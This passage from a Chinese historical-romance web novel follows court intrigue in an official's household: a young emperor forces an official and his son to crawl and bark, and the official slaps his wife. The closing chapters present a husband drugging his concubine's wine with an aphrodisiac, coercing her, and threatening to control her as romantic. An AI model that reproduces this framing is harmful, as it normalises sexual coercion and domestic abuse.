李三公子红肿着脸坐在一旁,同他一样被打的少年站在他身侧,两个人无一例外都狼狈至极,李夫人坐在他们身侧,眼底满是怒气地看向坐在他们对面的徐可心。 林昭明坐在她身侧,面色不耐,没有半分悔意。 大夫人坐在主位,知晓他是为了徐可心才打了人,搭在桌案上的手紧攥帕子,面色难看至极。 过了半晌,门外传来脚步声,小妹迈着步子大步走了进来。 李夫人一看见她,就倏地起身,“就是你打了我儿子?” “知道还问,他就该打。”徐念安冷冷看了她一眼,也未行礼,直接走到徐可心身旁。 “过了三年,你这丫头还是如此无礼!” “呵,你还挺了解我。” 李夫人见状,抬手指着徐念安,气得手抖不停,“徐小姐,今时不同往日,你早已不是首辅之女,竟不知悔改,仍出言不逊,你这般狂妄,就不怕哪日闯了大祸,失了性命。” 徐念安冷眼看她,淡声道,“我不知道自己以后是否会失了性命,我只知道,我见你儿子一次打他一次。” “还有你李夫人,空有一身大道理,光会指责旁人, 不会教导自己家的公子,长此下去,想必你家公子哪日就同你所说得那般,闯了大祸失了性命。” 徐可心闻言,微微蹙眉,扯了一下她的衣袖,示意她莫要再顶嘴。 徐念安还想再回怼几句,对上她不满的目光,不情愿地抿唇,未再说什么。 “我家儿子知书达理,连蚂蚁都不敢踩,这般温良恭顺,如何会闯下大祸!” 见她护短自己的相公和儿子,徐可心紧抿着唇,想到那日撞见的事情,目光不自觉复杂几分。 自己的相公和儿子被人打了,李夫人追究也情有可原,只是她真心维护李三公子,李三公子却并非真心待她。 小妹不会同她说谎,她也信小妹不会骗她,她过去见过李夫人几次,知晓李夫人为人直率坦诚,也不会说谎。 徐可心抬眸,看向站在李夫人身侧的少年身上,却见他目光虚浮,眼眶发青,眼底还透着几分畏色,不似他母亲那般直率,反倒更像李三公子,面上一副轻浮之色…… 李三夫人被气得浑身颤抖,抬头看向大夫人,“夫人,你今日必须给我们李家一个说法!” 大夫人坐在主位,闻言放下茶杯,瞥了眼徐念安,冷声道,“跪下。” 徐念安不愿认错,站在原地未挪动脚步。 知道她无错,事出有因,徐可心也不愿强迫她下跪,攥着她的手腕,将小妹扯到自己身旁,轻声道,“夫人,可否先问清方才到底发生何事,再定处罚。” 大夫人正因方才之事气恼,闻言冷冷看了她一眼,未理会她的话,直接抬手,“来人,将徐二小姐压在地上。” 话落,站在一旁的两个嬷嬷霎时上前,徐可心见状,攥住小妹的手不自觉用力,方要再说什么,门外传来脚步声。 “慢着,她无需下跪。” 清朗的少年声从门外传来,众人抬眼看去,却见身着锦袍的少年手执纸扇,大步走入堂中。 徐可心不知晓他的身份,眸色疑惑,还未清楚他为何前来时,另外几人早已变了脸色。 少年气度不凡,腰间的双龙玉佩太过显眼,两个嬷嬷不知晓他的身份,但还是下意识停下脚步。 少年摇着纸扇,笑着走到小妹身侧,站在她面前,安抚地对她笑笑,随后看向坐在对面耷拉着脑袋的李三公子,轻笑道,“李卿,好端端地为何会被人打成这般模样?” “如此狼狈,也不知明日可否上朝?” 李三公子本来垂着脑袋,闻言骤然抬眸,待看清少年的容貌,整个人霎时僵在椅子上,好似被定住一般。 还未等众人反应,只听扑通一声,本还奄奄一息的男人直接跪在地上,对着少年仓促行礼道,“微臣见过陛下。” “爱卿脸色这般苍白,还是安心坐着罢。” 少年站在小妹面前,虽比小妹矮些,无法挡住旁人看向她的目光,但他单站在那里,堂内众人的目光就不自觉落在他身上,一齐行礼。 徐可心坐在他身后,怔愣片刻后,下意识起身,也要行礼。 少年先有所察觉,举扇拦住她的动作,温声道,“阿姐的身子还未彻底调养好,无需多礼。” 他温声说完,笑着看向站在自己身后的小妹,忽得低声道,“念安,你还未同朕行礼。” 他眼中笑意满盈,怎么看都不像提醒她的模样,同捉弄她似的,面上带着几分调笑的意味。 徐念安面色复杂地看着他,闻言良久未动。 “你是……陛下?” 第72章 少帝站在她面前,笑着看她,未说什么。 徐念安盯着他看了半晌,才微微俯身,同他行礼,“民女见过陛下。” 她姿态生硬,面色带着明显的不自然,话语很轻,甚至透着几分疏离,未同往日那般轻松随意。 少帝仰头看她,面上调笑的意味淡了几分,转而换了一张讨好依赖的面色,上前半步,低声道,“念安,只是在外人面前做做样子,若你不喜,往后见了朕都无须行礼。” 他同挚友那般轻声哄着,徐念安闻言面色僵硬,不仅未感到放松,反而下意识退后一步,古怪地看着他。 少帝神情一僵,又很快恢复笑意,转身看向不远处李家父子二人。 若非他们二人,他也不会早早暴露身份。 “李侍郎,方才朕独自在后园闲游时,恰巧撞见令郎同人嬉笑玩乐,几人玩得尽兴,不甚将蹴鞠踢入湖中。” “想必是不愿湿了衣衫的缘故,几人才拦住朕的去路,令朕下水为他们几人取回蹴鞠。” “哎,朕不通水性难以从命,出言解释,可李公子是个执拗的,偏偏要扯朕下水,还要强迫朕下跪,令朕学狗叫。” “若非徐二小姐路见不平,想必朕如今仍在水中为令郎寻蹴鞠。” 少帝不紧不慢讲述,一副劫后余生的无措模样。 他面色无奈,好似只是感慨没有追究的意思,李侍郎和李夫人却变了脸色。 李夫人抬眼,未敢同方才指责徐可心一般顶撞皇帝,而是不可置信地看向站在自己身侧的儿子,却见李公子垂着脑袋,双腿颤抖不停。 只一瞬间,李夫人险些瘫坐在地。 李侍郎顶着一张红肿的脸,本颤颤巍巍地跪在地上,闻言霎时抬头,看向站在自己身侧的儿子。 对上他畏惧的目光,李侍郎伏在地上的手紧握成拳,还未等众人反应,李侍郎倏地站起身,一巴掌猛地打在李公子脸上,扯着抽痛的嘴唇,急声斥骂道,“孽子!” 他未收力,一巴掌重重落了下去,直接将李公子打倒在地,李公子趴在地上,好似也知晓自己闯了大祸,直接哇的一声哭了起来。 “母亲救我!母亲救我!” 他顶着霎时红肿的脸,向李夫人爬去,李夫人下意识环住他的肩膀,将他抱在怀里,不满地看向李侍郎,“你打他做什么?有话不能好好说吗?” 眼下皇帝就站在一旁,李侍郎垂在身侧的拳头紧握,未等众人说什么,忽得抬手,一巴掌复又打在李夫人脸上。 啪的一声,李夫人的脸色霎时僵硬,怔愣地看向李侍郎,好似未敢相信李侍郎会打她,良久才颤声道,“你打我?” “若非你溺爱这孽子,他又怎会冲撞陛下?” 李侍郎顶着一张青肿的脸,垂在身侧的手紧握成拳,眸色喷火似的盯着李夫人看,对上他满是斥责的目光,李夫人彻底没了声音,抚着侧脸垂头小声哭了起来。 当众处置了自己的妻子,好似这样做,就算他教导有方一般,李侍郎匆匆转身,躬身看向少帝,忙不迭道,“陛下,臣平日公务繁忙,才不得不把儿子交给内人看管,未曾想过,这人纵容溺爱儿子,将他宠得无法无天,今日才失了分寸冲撞陛下,还请陛下恕罪。” 说来说去,儿子管教不严全是李夫人一人的错,和他李大人没有半分关系,还顺势提了一下自己尽职尽责的态度。 徐可心坐在原地,见李侍郎不断推脱,想起那夜撞见这人跑到府中同人私会,面色不自觉紧绷。 这人若真得一心为公也就罢了,偏偏私下无耻下流,能在深夜冒着被发现的危险同人私会,但难寻时间教导儿子,把一切过责推脱到李夫人身上,还当众打她…… 徐可心转过头,不愿再看下去。 李侍郎站在众人面前,不顾嘴角的抽痛,扯着嘴不断恕罪。 少帝摇着纸扇,轻笑一声,不紧不慢道,“俗话说,子不教父之过,令郎命人拦住朕的去路,令朕学狗叫,想必认为此事极为有趣。” “朕如今忽得起了兴致,也想看人学狗叫。旁人认为狗下贱,想必难以学得精髓,不如李公子眼下跪在地上,绕着堂中爬上几圈,也好为众人解闷。” 少帝的话实在恶劣,但无一人敢说什么。 李公子闻言,身子僵硬一瞬,还未等他说什么,就被李侍郎扯着衣领压在地上,“孽子,聋了不成,未听见陛下的话,还不快跪下!” 李公子抖着腿,闻言颤颤巍巍地跪在地上,双臂颤抖不停,过了半晌也未爬出半步。 李侍郎见状,抬脚就要踹上去。 “慢着。”少帝笑着阻拦。 李侍郎慌乱转头,“陛下有何吩咐?” 少帝摇着纸扇,看着趴在地上半天未爬一步的李公子,轻笑道,“李公子平日里受尽宠爱,想必不曾学过如何狗叫。” “不如这样,”少帝阖上扇子,眉眼上挑,看向李侍郎,“侍郎为其父,先做表率,跪在令郎身前,教其如何爬行狗叫。” 话音刚落,在场众人彻底没了声音,目光一齐落在李侍郎身上。 李侍郎僵硬良久,想要推脱,可对上少帝兴致盎然的目光,他面色青白,过了半晌,缓缓屈膝跪了下来。 李夫人方被他当众打了一巴掌,见他被折辱,她转过头,未同方才那般为李侍郎说情,只冷冷看向一旁。 李侍郎跪在地上,四肢着地,爬在前面,垂着脑袋良久未语一言,少帝站在他身后,慢悠悠道,“叫啊,李卿,没有你的言传身教,令郎又怎会懂得如何狗叫。” 李侍郎顶着一张猪头脸,闻言颤抖半晌,终于屈膝爬行一步。 万事开头难,懂得如何学狗爬,很快就会懂得如何学狗叫。 一开始还难以启齿,但迫于威势,喊了第一声后,之后的狗叫就好开口了。 仓促的狗叫声在堂内响彻不停,李公子跪在李侍郎身后,见到自己父亲都学了狗叫,心上的抗拒立刻消退,也连忙爬到他身后,汪汪叫了起来。 李夫人坐在一旁,过了良久,终于不忍心,开口道,“不知他们二人……何时能停下?” 少帝轻摇纸扇,饶有兴致地看着跪在地上的父子二人,闻言收起纸扇,笑着看向站在自己身侧的少女,柔声道,“念安是为了朕才打了李公子,何时她看得尽兴,露出笑颜,何时他们二人可以停下。” 徐念安微微蹙眉,未因他的话露出喜色,转过身扶着徐可心的肩膀,有意躲闪他的目光。 少帝见状,眸色一沉,又很快恢复原状,面无表情地看着跪在地上的两人。 只是换了身份,这人就不接受他的示好,同他疏离,还真是绝情得很。 徐可心坐在一旁,看了眼小妹别扭的面色,又看了眼少帝微沉的面色,不自觉叹了口气,轻轻拍了一下小妹的手背。 少帝面无表情地站在那里,旁人也不敢露出笑容,堂内顿时没了声音,只余下李家父子二人的狗叫声。 不知过了多久,匆匆的脚步声从门外响起,小厮快步跑入堂中,说大人回府了。 少帝面色一顿,连忙令他们二人站起身,眸色明显露出几分慌乱。 过了半晌,沉稳的脚步声渐行渐近,男人身着朝服,缓步走入堂中,在场几人霎时起身行礼。 林远舟迎着众人的目光,走至主位落座,未理会李家几人,而是看向坐在一旁的少帝,淡声道,“下朝时,臣记得陛下曾说,要在书房处理公务,眼下又为何身处微臣府上。” 少帝扯唇笑笑,向小妹靠了半步,眸色略微尴尬道,“林大人,方才朕的确在书房处理公务,只是后来几位老臣皆说,二公子考得状元,想要前来府上讨个好彩头,朕才准他们前来,顺便上门拜访。” 林远舟无声看着他,也未说是否相信少帝的话,过了半晌收回目光,看向坐在一旁的徐可心,淡声道,“过来。” 徐可心闻言,霎时站起身,挪着步子走上前,刚靠近男人,就被他揽腰抱在怀里,她扶着男人的肩膀,身子僵了一瞬,又很快回神,嗔怪地看了他一眼。 不顾在场众人的目光,林远舟握住她的手腕,语气淡漠问,“方才受了委屈?” 他甚至未问清缘由,就直接先入为主,将她护在怀里,好似料定受委屈的人一定会是她,要为她做主。 想起方才宴席上的事情,徐可心扶着他的肩膀,恐牵连到林昭明身上,迟迟没有开口。 她不说话,李三公子站在一旁,以为她仍同过去那般软弱,顾及自己的名声不敢声张,面上霎时放松几分,有恃无恐地看着徐可心的背影。 她良久无言,林远舟只平静地看着她,好似知晓她的顾虑,他语气没有起伏道,“有为夫在,可心不必担忧。” “若可心一直不开口,为夫也难以知晓如何处理此事。” 男人握着她的手,声音温和至极,但莫名透着几分诱哄的意味。 徐可心站在他面前,抬眼看向站在不远处的李三公子,对上他虚浮的目光,她回过头,复又看向坐在自己面前的男人,犹豫半晌,轻声道,“李三公子方才在宴席上问妾身,在教坊司当了三年官妓,还未学会怎么同男人讲话,依旧是个哑巴。” 她的声音很轻,算不得大,但格外清晰,落地有声。 话音刚落,堂内霎时鸦雀无声。 “你污蔑!我家相公怎么会说出这种话?”李夫人倏地站起身,质问道。 她眸色震惊,天塌了似的。 徐可心不知晓李三公子在李夫人面前到底是何种模样,但对方的确出言嘲弄了她。 好似未料到她会一字不落地当众说了出来,李三公子本放松的神情霎时僵在脸上。 李夫人看向他,本想让他解释一二,见状面色一怔,彻底没了声音。 她看着站在自己身旁的相公儿子,好似第一次认识他们一般,面色苍白,瘫坐在座位上。 “大人,卑职不曾说过此话,分明是她在污蔑卑职!” 惹了陛下,还有老臣为他求情,可惹了林大人,他便真得走投无路了。 李侍郎扑通一声复又跪在地上,也豁出去了,指着徐可心,忙不迭道,“大人!勿要听信此人的一面之词,卑职素来胆小怕事,如何会说出这种轻佻无礼的话!” 徐可心微微蹙眉,看着李侍郎狼狈的模样,只觉心上恶心,忍不住转过身,俯身靠在男人怀里,不想再看他一眼。 林远舟揽着她的腰,安抚地轻轻拍了一下她的后腰,眼底没有情绪地看着跪在地上的李侍郎,淡声道,“李大人教子无方,冲撞陛下,明日之后,于家中亲自教养子嗣,待李公子弱冠后,再回朝中任职。” 说的是回朝中任职,而非官复原职,和革职在家没什么两样…… 此话一出,李侍郎霎时瘫坐在地,狼狈至极。 李夫人本伤神心烦,听到自己的相公要被革职,一时慌乱气急,指着徐念安和林昭明道,“大人,为何单单处罚我相公?他们二人打了人,难道就没有处罚吗?” 站在一旁的少帝闻言,上前一步,笑道,“如何没有处罚?” 李夫人眸色一怔,还未等追问,却听他不紧不慢道,“林二公子以下犯上,殴打朝廷重臣,理应受惩,念及事出有因,李大人出言不逊在先,特罚一年俸禄,暂替刑部侍郎一职,将功补过,代李大人处理事务。” “至于徐二小姐,护驾有功,明日之后,于宫中任女官,侍奉在朕左右。”少帝轻摇纸扇,不紧不慢道。 话里话外明摆着就是维护他们二人的意思,李夫人怔愣地看着他们,又看了眼瘫坐在地的相公,眼前一黑,直接当众晕了过去。 “母亲!母亲!”跪在地上的李公子见状,慌乱爬过去。 李家三人是被人抬出去的,没一个人是站着的。 待李家几人走后,林远舟看向坐在角落的林昭明,令他罚跪祠堂,何时入朝为官,何时离府。 他令几人离开,徐可心不舍地看了他一眼,听他说晚些会去听雨阁,她才带着小妹离开。 见小妹要走,少帝下意识想要追过去,“念安,你还未领旨!” 可还未走出半步,对上男人淡漠的目光,少帝霎时停下脚步。 “朕还有政务要忙,暂且回宫了。”少帝悻悻说完,同寻来的太监总管一起,离了林府。 待众人走后,一直沉默不言的大夫人,终于 开口道,“大人,你是不是太过纵容她了?” “刑部侍郎李大人方才所言,也未说错什么,她过去的确只是一个官妓。” 林远舟端起茶杯置于唇边,不紧不慢品了一口,眼也不抬道,“年底官员回京述职,堂弟也在其中。” 话音刚落,本来面色冷厉的女人彻底没了声音,怔愣地看着他。 林远舟淡淡看了她一眼,起身向堂外走去。 大夫人坐在原地,没有追上来,也没有再为儿子不平的心思,只坐在原地,久久没有反应,盯着虚空出神。 第73章 回听雨阁的路上,小妹跟在她身后,耷拉着脑袋,不似往日那般开心,一副有心事的模样。 知晓她还在惦念方才之事,徐可心无声叹了口气。 原来少年就是陛下…… 她只见过少年几面,也不知晓他是个什么性子,不明白他为何三番两次追在小妹身后,眼下还要令小妹入宫为官。 两人都是孩子,想必对方把小妹当成了玩伴,才下了这道旨意。 不过…… 徐可心转身,看向一旁垂着头的少女,小妹好似并无入宫之意。 小妹素来任性冲动,受不得气,入宫之后难免不会同人争执,触犯宫规。 少年一时新鲜,把小妹当玩伴,若之后厌烦小妹,说不定也会折辱小妹,同方才那般恶劣。 徐可心思索半晌,心上不想让小妹入宫为官,她正想着晚间如何同大人提及此事时,远远望去,却见一女子站在听雨阁院外,垂着眼看着地面,不知道在看什么。 好似察觉到这边的动静,女人抬眼看过来,四目对视,女人弯着眉眼,温声唤了一声徐姨娘。 来人不是旁人,正是二姨娘。 徐可心停下脚步,不解地看着她,不知晓她为何上门,但还是将人请进院中。 二姨娘缓着步子跟在她身后,将手中的匣子放在桌案上,轻声细语道,“你方生下孩子,身子亏空,正是需要调养的时候。” “恰巧前些日子家中送来几味药材,里面有一株百年老参,我便想着送来给你调理身子。” 二姨娘抬手,缓缓打开匣子,推到她面前。 “本还有一只熊掌,但尝起来太过腥重,恐你不喜,就未带来。” 二姨娘坐在她面前,不紧不慢同她讲述,好似闲聊一般,没有半分生疏冷意。 徐可心看了一眼红木匣中的老参,未因她随和的面色打消心中疑惑,抬手轻轻阖上匣子,又将东西推了回去,轻声道,“谢姨娘好意,可太医之前写下几副方子,令我每日按着方子服用汤药,不得服用旁的,姨娘还是将这老参带回去罢……” 二姨娘闻言面色不变,看着桌案上的匣子,良久后才叹了口气,未再卖关子,直言道,“其实我今日前来,有要事相求。” 徐可心看着她,没有立即开口,只等她的下言。 二姨娘见状,攥着袖子,面色无奈道,“徐小姐,你过去是首辅千金,贵人多忘事,想必不记得我们这等位卑之人。” “我乃是刑部侍郎李大人的庶妹,过去我们兄妹二人不及徐小姐金贵,只能远远看着徐小姐,难同徐小姐说上话。” 只听了第一句,徐可心就霎时明白这人眼下为何前来了。 还未等她问,二姨娘就无奈道,“三哥素来与人为善,只是太在意他的儿子,又喝了些酒,才一时失了分寸,出言冒犯了徐姨娘……” “我虽是其妹,但也不喜他醉酒时粗俗的话语,知晓他做了错事,便前来代他同徐姨娘告罪,徐姨娘素来温和有礼,想必不会同他计较。” 话音刚落,一顶高帽直接扣在她的头上,根本不给她回避的机会。 这人话里话外都是求她宽恕的意味,把自己的姿态放的很低,若她真得计较,倒显得她得理不饶人了。 徐可心半阖眉眼,无声看着坐在面前的女人,软刀子磨人,这人存心前来给她难堪。 二姨娘是李侍郎的庶妹,打断骨头连着筋,说到底还是站在她兄长那边。 二姨娘坐在一旁,面色无奈地看着她,好似真得埋怨她的兄长一般,但话里话外皆是维护之意。 若自己真得松了口,顺着她话里的意思,接受她的调和,这人是不是还要得寸进尺,说兄长的不易,令自己同大人说情。 徐念安站在一旁,听到二姨娘的尾句,微微皱眉就要上前,徐可心先有所察觉,扯住她的衣袖,又将人扯回自己身后。 徐念安冷冷看着二姨娘,眼底带着不加掩饰的嫌恶。 徐可心轻轻叹息,看向坐在自己面容素雅的女人,温声道,“令兄在宴席上所言,并无错处,我在入府之前的确只是一个官妓,自知身份低微,不敢计较此事,也未怪罪李大人。” 二姨娘复又叹了口气,“我知晓你性子温和,可……大人在意你,看不得姨娘受辱,为了徐姨娘惩处兄长,令他革职在家。” 说到此处,她直直看了过来,话音一转,恳求道,“徐姨娘宅心仁厚,想必也不愿看兄长受此重罚,而且你素来得大人的喜欢,无论说什么,大人都会听。” “李氏在此给姨娘跪下了,烦请姨娘为兄长说情,令大人放过兄长。” 话落,女人没有征兆地屈膝,直接跪在地上,膝行至她面前,仰头卑怯地看着她。 徐可心紧抿着唇,坐在原地,并未因她下跪的动作感到动容,反而感到格外恐怖。 这人是懂得如何利用她的心软的…… 若在之前,她兴许还会有几分动容,被那兄弟二人接连折磨数月后,再看到旁人向她求情,总是下意识认为对方在同她做戏。 徐可心深呼一口气,看向一旁,眼也不抬道,“姨娘不必如此,白日之事与你无关,你体恤你兄长,代他向我求情,但终究不是他。” “若他真心悔过,理应亲自上门同我告罪,而非为难你。” “况且你有所不知,白日令侄撞见陛下,拦住陛下的去路,强迫他下跪学狗叫,大人才命令兄回府教养李公子。” “我只是一个妾室,难以左右大人的心思,也不敢触怒陛下。” 二姨娘跪在地上,在听到李公子强迫少帝下跪学狗叫时,眸色凝重,面上的恳求消失得一干二净,不似方才那般可怜无助。 徐可心见状,霎时明白,这人方才的确在做戏。 好似知晓她没什么用,二姨娘垂眸,复又低声哭了片刻,未再寒暄,拿上匣子就同她告辞了。 她方离了听雨阁,小妹就砰的一声关上门,面色紧绷道,“无事不登三宝殿,她倒是会做事,自己不去找林叔求情,跑到阿姐面前,撺掇阿姐去为她兄长求情。” “还不是看阿姐性子软好欺负。” 小姑娘越说越气,咬牙道,“知道她长兄醉酒后易做错事,为何不早劝他戒酒,何况我方才看那李侍郎也不似醉酒模样,不然为何见到陛下就害怕了?” “假惺惺。” “一家子都是道貌岸然做戏的高手。” 徐可心无奈道,“李侍郎已经得了惩处,此事尘埃落定,莫要再议论。” 小妹抿唇,冷笑一声,“我看那李侍郎就是认为阿姐没人撑腰,才敢在宴席上嘲弄阿姐,见到皇帝和林叔就知道屈膝下跪了,还不顾尊严体面学狗叫,欺软怕硬的狗东西。” “李夫人都比他有骨气,也不知道李夫人到底看上他哪里了。” 见她斥责不停,徐可心抿唇,更不敢将她送入宫了,恐她气到头上,再对陛下破口大骂。 陛下年纪比她小,个子也没她高,定然吵不过她,兴许还会挨小妹的打。 徐可心越想,越觉不应让小妹入宫,饶是她在身边,小妹都不听从管教,若她不在,小妹怕是能从宫门口一直同人吵到金銮殿。 她是小妹的阿姐,可以纵容小妹,但她不相信,旁人也可以纵容小妹。 徐可心深深叹了口气,忽觉胸口格外沉闷。 她怀着心事,整整一个下午都未露出笑容。 入了夜后,令乳母带走青姝,她则坐在桌案上早早等候大人。 今日那人好似无事,她未等多久,就听见门外传来脚步声。 房门被推开,男人方一走进屋内,她就连忙上前,“大人,妾身有要事相求。” 林远舟阖上门,站在原地无声看着她,等她的下言。 她眼下有心事,未察觉到男人面上的异样,直接道,“白日陛下说令小妹进宫为官,但大人也知道,小妹任性妄为,如何能侍奉陛下,大人可否告知陛下,小妹不宜入宫,让陛下收回成命。” 男人站在她面前,垂眸听了半晌,也未说答不答应,脱下外衣,将身上的朝服放在桌案上,缓步向汤池走去。 徐可心下意识跟在他身后,亦步亦趋地向汤池走去,待他彻底脱下里衣入了水中,她才面色微红,跪坐在池边,未继续说下去。 男人背靠白玉台,从进来后直到 眼下,未开口说一句话,徐可心跪坐在男人身后,终于察觉到不对劲。 她小心看着男人些许倦怠的面容,挪了半步,从身后抱住他,小声道,“大人,你为何不理妾身?” 男人半边身子靠在她怀里,枕着她的腿,语气没有起伏道,“白日之事,可心未曾想过对为夫解释一二。” 男人的双臂环着她的腰,半边身子压在她身上,看似亲近,实则变相桎梏她的身子,让她难以逃避。 徐可心闻言面色一僵,见大人问罪,终于想起白日林昭明是为了她出头,才打了李侍郎。 她环抱着男人宽阔结实的后背,垂着头,无措地抚上他的头,下意识讨好地为他按揉。 她紧抿着唇,迟迟不开口,男人枕在她腿上,只耐心等着,未再说什么。 不知过了多久,她才抵不住心上的愧疚,小声道,“大人,妾身不应前去宴席,也不应同二少爷纠缠不清,妾身知错了,还请大人饶恕。” 她哽着嗓音,明明没哭,但太过紧张,声音止不住颤抖,听起来反倒像哭了一般。 本沉默无言的男人撩开眼皮,在水中站起身,抚上她的下颌,强迫她抬起头。 “哭了?” 男人身子颀长,饶是站在水中,也比坐在一旁的她高出半个身子,她必须仰头看着对方。 她本来紧张地睫毛微颤,闻言眨了眨眼睛,对上男人没有情绪的目光,下意识乖巧地说了声“没有”。 若在平常也就罢了,现在还软着声音说“没有”,挑衅他似的。 林远舟站在徐可心面前,居高临下地俯视她,无声看了她半晌,对上她清澈的目光,忽得低笑一声。 “可心未哭,但为夫想见可心哭,又该如何?” 男人垂着眉眼,语气没有起伏问。 话音刚落,徐可心面上的不解僵在脸上,她下意识感到不对,转过身子就要向远处爬去,可方挪了半步,就被人攥紧膝盖直接拉入水中。 扑通一声,温热的水霎时浸湿她的衣衫。 她慌乱起身,趴在岸边,还未等她说出求饶的话,男人就微微俯身,从身后环抱住她,将她牢牢桎梏在怀里。 唇贴在她耳侧,不疾不徐道,“不久前为夫得了一副药,一直惦念可心的身子,未曾用过。” “听说服用此药后,□□焚身,彻夜寻欢,为夫许久未见过可心痴迷纵情的神色,倒是格外惦念。” 男人语气轻柔,话语却格外恶劣。 温润的话在耳边不紧不慢响起,徐可心面色涨红,抬头对上他冷淡的目光,只觉浑身燥热难耐。 她整个人埋首在男人怀里,抚着身前紧绷的胸膛,分明还未服用情药,整个人就不自觉双腿酸软。 既害怕他的惩处,又隐隐期待。 第74章 从汤池出来时,她只穿了一件贴身的绸衣,一根绸带松松垮垮地系在她的腰上,堪堪遮住她的身子。绸衣柔软贴身,极为细致地勾勒了她的腰身,微微敞开,露出一条素白沟壑。 徐可心靠在男人怀里,枕着他的肩膀,看他推开瓷匣,将里面的药粉倒进白玉杯盏中。 药粉掉进玉杯中的瞬间,便彻底融入酒水之中。若不仔细察看,很难发觉酒中被人放了药粉。 男人同她一样,单穿了一件贴身绸衣,不过未系衣带。 徐可心垂着眉眼,坐在男人怀中,看着他露在外面的有力的胸膛,无声看了半晌,抬眼见男人正在端着酒壶倒酒,她紧抿着唇,微微张口,忍不住咬了上去。 男人倒酒的手一顿,抬眸看了她一眼,对上她无辜纯情的目光,林远舟揽着她的手臂微微用力,惩罚似的揉了一下她细软的腰腰,未说什么。 知晓他在纵容自己,徐可心学着他的样子,微微用力,直接在男人冷白的胸膛留下一个青红的牙印。 咬完后又觉不尽兴,仰头吻上男人的侧颈,复又咬了上去。 她环着男人的肩膀,乐此不疲地在他身上留下自己的痕迹,男人只揽着她的身子,任由她啃咬。 待玩得尽兴后,她才满意地看着男人脖颈上的几个咬痕,微微低头,轻轻吻上男人的喉结。 大人素来不涂脂粉,明日上朝后,文武百官都会看见他脖颈上的咬痕。隐秘的占有欲得到满足,在内心不断攀爬,蔓延至五脏六腑,令徐可心感觉整颗心格外酸胀。 “尽兴了?” 没有起伏的话在头顶响起。 徐可心抬眸回视男人,对上他冷淡的目光,微微颔首。 林远舟淡淡瞥了她一眼,端起酒杯递到她唇边。 知道酒中被下了情药,徐可心垂着眉眼,看了眼杯中清澈的酒水,又看了眼男人冷淡的面色,微微张唇,没有任何犹豫就要服下。 可还未等她咬住杯沿,酒杯就被人拿远。 徐可心抬眸,不解地看向男人,轻声道,“大人,为何又拿走了?” 男人攥着酒杯,冷白长指微微收紧,“可心不怕为夫在酒中下毒?” 徐可心眸色困惑,“为何要下毒?” 林远舟放下酒杯,抬手抚上她的侧脸,干燥的指腹按在她的下唇上,用力微微摩挲,撬开她的牙关,让她不得不张口。 他垂着眉眼,淡声道,“毒害可心,将可心做成尸偶,随时抱在怀里把玩。” 哪里想到他会突然说出这样一番话,徐可心眸色一怔,沉默半晌后,认真道,“那岂不是妾身只能陪在大人身边,而不能同大人讲话?这不公平。” 她扶着男人的肩膀,微微起身,吻上男人的唇角,眨着眼睛轻声道,“况且一人离去,另外一人太过孤独了。” “总要彼此陪伴才好。” 男人揽着她的腰,无声看了她半晌,端起桌案上的酒杯,一饮而尽。 徐可心眸色微怔,方要问他,为何自己服用,男人忽得抬手,按在她的后颈上,直接吻了过来。 还未等她反应,辛辣的酒水便涌进口中,徐可心没有防备,直接被酒水呛到,她下意识按着男人的肩膀,想要将他推开。 可男人按在她脖颈和后背的双手极为用力,让她根本难以挣脱。 一杯酒尽数下肚,徐可心方一被放开,就扶着胸口低咳不止,泪水也被呛了出来,悬在眼眶中,要哭不哭的,格外可怜。 男人抚着她的后背,安抚似的轻轻拍了几下,徐可心被酒水呛得喉咙疼,微微挪动身子,躲开男人的手,埋怨地看了他一眼,却见对方眸色不变,不仅未露出愧疚之色,反而透着几分散漫,好似有意玩弄她,要看她哭一般。 忽得想起方才他在汤池时说过的话,徐可心匆匆擦拭眼泪,忽得咽不下这口气,也想扯掉男人这副漫不经心的面具,看他也露出狼狈之色。 她看了眼桌案上的酒壶,伸手拿了过来,忍着不适饮下一口后,环着男人的脖颈直接吻了上去。 好似察觉到她的意图,男人眉眼上挑,顺势揽住她的身子,将她紧紧抱在怀里。 酒水在两人的唇齿间游荡,没过多久,一整壶酒就见了底。 不知是情药发作,还是醉酒的缘故,徐可心只觉身子格外燥热,难言的渴望在体内蔓延,占据身体的每一处角落,她的头也昏沉沉的,好似清醒,知晓面前的男人是她的夫君,又好似不清醒,大脑一片空白,只想紧紧抱着男人,同他肌肤相亲,除此之外,再也想不到旁的。 偏偏男人喂她服 用情药和烈酒,却不对她负责,只将她抱在桌案上,任由她躺在上面,而他自己则站在桌案前,垂眸无声注视她。 直白的目光落在她的身上,从上到下,观赏她的每一寸肌肤。 她的身子格外烦热,桌面却格外冰冷,贴上的一瞬间,她忍不住打了个寒颤,整个人难受地抚着身子,饶是神志不清,也知道她身子的变化都是因为面前的男人。 她眉眼含春,嗔怪地看着站在不远处的男人,不满地唤着大人。 可饶是她身前衣服散落,整个人赤着身子躺在对方面前,男人也依旧站在原地,眼底没有情绪地看着她。 她不胜酒力,加之服用情药,没过多久整个人便同男人所说的那般,□□焚身,整个人痴迷纵情,只想同大人欢好。 迟迟等不到男人的回应,她意识消沉,难言的委屈充斥心间,她微微蜷缩身子,将手臂挡在面前,终于忍不住哭了起来。 她哭得实在可怜,好似受了什么天大的委屈一样,但声音又细又软,不仅不引人怜惜,反倒令人生出暴虐的心思。 林远舟垂眸,看着女人满是泪水的脸颊,终于上前一步,单手撑在她身侧,俯身勾起她垂在身前的一缕发丝,漫不经心道,“只是片刻空虚而已,可心也难以忍受?” “这般娇气,岂不是往后只能留在为夫身边,做个贪于情爱的玩物。” 冷白的手指勾着发丝,微微缠绕,复又握住她垂在身前的手,同她十指相扣,手指按在指缝之间,攥得极为用力,一辈子不分开似的。 徐可心眼下意识不清醒,根本难以分辨男人说了什么,只在他靠近的瞬间,就下意识伸手,勾住他的脖颈,迫不及待地仰头吻了上去。 本来躁动的心,在唇贴上去那一刻,终于稍稍平复些许,未同方才那般急切无措。 林远舟轻笑一声,看着她痴迷的眉眼,温声道,“可心,为夫此刻站在你面前,只是你一人的夫君,不必同往日那般不安急切。” “喂你服下情药,也会为可心解开身上的毒。” “为夫今夜哪里也不去,只陪在可心身侧,做可心一人的夫君。” 男人轻声说完,抚上徐可心的后脖颈,俯身吻上她的眉眼,吻拭她眼中的泪。 “可心也只是为夫一人的情人,往后勿要再同人往来,不然为夫只能一次次惩处可心,才好让可心长记性,时刻谨记自己的身份。” “为夫疼惜可心,可心也莫要让为夫难为。” 